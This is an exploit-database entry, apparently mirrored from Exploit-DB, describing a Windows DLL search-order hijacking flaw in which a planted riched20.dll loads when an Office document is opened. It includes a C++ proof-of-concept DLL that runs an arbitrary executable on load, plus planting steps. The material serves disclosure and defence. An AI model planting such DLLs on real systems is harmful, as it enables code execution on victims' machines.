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Suggest Exploit
vendor:
Windows
by:
SecurityFocus
7.5
CVSS
HIGH
DLL Search Order Vulnerability
427
CWE
Product Name: Windows
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2002

DLL Search Order Vulnerability

When a program executes under Microsoft Windows, it may require additional code stored in DLL library files. These files are dynamically located at run time, and loaded if necessary. A weakness exists in the algorithm used to locate these files. The search algorithm used to locate DLL files specifies that the current working directory is checked before the System folders. If a trojaned DLL can be inserted into the system in an arbitrary location, and a predictable executable called with the same current working directory, the trojaned DLL may be loaded and executed. This may occur when a data file is accessed through the 'Run' function, or double clicked in Windows Explorer. This has been reported to occur with the 'riched20.dll' and 'msi.dll' DLL files and some Microsoft Office applications, including WordPad. This behavior has also been reported for files loaded from UNC shares, or directly from FTP servers.

Mitigation:

Ensure that the current working directory is not writable by untrusted users, and that the System folders are not writable by untrusted users.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/1699/info

When a program executes under Microsoft Windows, it may require additional code stored in DLL library files. These files are dynamically located at run time, and loaded if necessary. A weakness exists in the algorithm used to locate these files.

The search algorithm used to locate DLL files specifies that the current working directory is checked before the System folders. If a trojaned DLL can be inserted into the system in an arbitrary location, and a predictable executable called with the same current working directory, the trojaned DLL may be loaded and executed. This may occur when a data file is accessed through the 'Run' function, or double clicked in Windows Explorer.

This has been reported to occur with the 'riched20.dll' and 'msi.dll' DLL files and some Microsoft Office applications, including WordPad.

This behavior has also been reported for files loaded from UNC shares, or directly from FTP servers. 

// dll1.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
#include "stdlib.h"

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
   switch( ul_reason_for_call ) 
    { 
        case DLL_PROCESS_ATTACH:
         // Initialize once for each new process.
         // Return FALSE to fail DLL load.
			MessageBox(NULL, "Hello world!", "Info", MB_OK);
			MessageBox(NULL, "Shall try to start: C:\\TEST.EXE\n You may need to create it.", "Info", MB_OK);
			system("C:\\TEST.EXE");
            break;

        case DLL_THREAD_ATTACH:
        // Do thread-specific initialization.
		//	MessageBox(NULL, "DllMain.dll: DLL_THREAD_ATTACH", "Info", MB_OK);
            break;

        case DLL_THREAD_DETACH:
         // Do thread-specific cleanup.
            break;

        case DLL_PROCESS_DETACH:
         // Perform any necessary cleanup.
            break;
    }

    return TRUE;
}

1) Rename dll1.dll to riched20.dll
2) Place riched20.dll in a directory of your choice
3) Close all Office applications
4) From Windows Explorer double click on an Office document (preferably MS Word document) in the directory containg riched20.dll